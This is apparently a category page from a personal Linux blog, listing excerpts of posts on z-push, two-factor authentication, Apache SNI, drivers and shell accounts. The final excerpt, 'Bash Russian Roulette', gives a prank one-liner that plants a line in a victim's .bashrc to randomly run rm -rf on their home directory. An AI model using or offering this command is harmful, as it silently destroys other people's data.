Nick Geoghegan

Professional Yak Shaver

Category: Linux

Installing z-push on Debian 9

z-push is a great tool. It pretends to be an Exchange server, allowing you to have your IMAP server push emails to phones and other clients as if the client was talking to a real Exchange server. In this tutorial we will use an apache2 vhost with a LetsEncrypt cert, install z-push from source. The […]

Read More

Setting up Google Auth 2FA on Debian

In a previous post, I went through setting up a Google Authenticator TOTP on a Yubikey. Let’s expand that to installing Google’s TOTP PAM Module, so we can use the Yubikey or Google Authenticator App as a TOTP based 2 factor authentication method to access our server. In this post, we’ll be setting this up on […]

Read More

Getting Service or Asset Tags on Linux

At one point in time, you will need to find out your service or asset tag. Maybe you need to find out when your machine is out of vendor warranty, or are actually finding out what is in the machine. Popping the service tag into the Dell support site will tell you this… But what if […]

Read More

Enabling Server Name Includes on Debian Squeeze

I don’t like waste, particularly when the resource is finite and fast diminishing… I also dislike paying for IP addresses. So here is how I enabled SNI in Apache running on Debian Squeeze. SNI allows multiple sites to host SSL content from the same IP address. Before SNI, Apache would listen for HTTPS (port 443) connections based […]

Read More

Mounting Samsung Note II on Linux

I recently got a Samsung Galaxy Note II – my first brand new phone in ten years. Whilst it’s a damn big phone, and Android is new to me (although I’ve been an Android developer for a while now!), I really like it. One thing that was bugging me is that I couldn’t mount the […]

Read More

SSH and Linux Mint

I’ve recently come across an interesting bug in Linux Mint. When trying to ssh to a Mint machine from OSX, I’d get errors saying “no hostkey alg“. After going on a long Google Vision Quest, I was still none the wiser. All the tricks I’d found didn’t work at all. The solution – at least for […]

Read More

NVIDIA 304.60 and OpenSUSE 11.4

NVIDIA recently released their 304.60 drivers to the main OpenSUSE repo. Sadly, these drivers didn’t have a proper dependency for the kernel-desktop-devel in them, which broke the install and caused the machine to fail on bootup – failsafe mode worked however. I submitted a bug report to NVIDIA and to be fair Daniel Dadap got […]

Read More

Single command shell accounts

There are times when you will want a single purpose user account – an account that cannot get a shell, not can it do anything but run a single command. This can come in useful for a few reasons – for me, I use it to force an svn update on machines that can’t use […]

Read More

Ergonomic Management Keyboard

Recently, in work, I got a Microsoft Natural Ergonomic Keyboard 4000 – aka the Ergonomic Management Keyboard. Microsoft have always made fantastically good hardware, as far as I’m concerned, and this keyboard is a delight to use. The keyboard works fantastic under Windows, as it should – being a Microsoft keyboard and all. Under Linux however, it can […]

Read More

Bash Russian Roulette

If you happen to have an annoying user, the following, simple, bash one liner will help sort them out. echo ‘[ $[ $RANDOM % 6 ] == 0 ] && rm -rf ~ || echo “You live”’ >> ~$VICTIM/.bashrc echo ‘[ $[ $RANDOM % 6 ] == 0 ] && rm -rf ~ || echo […]

Read More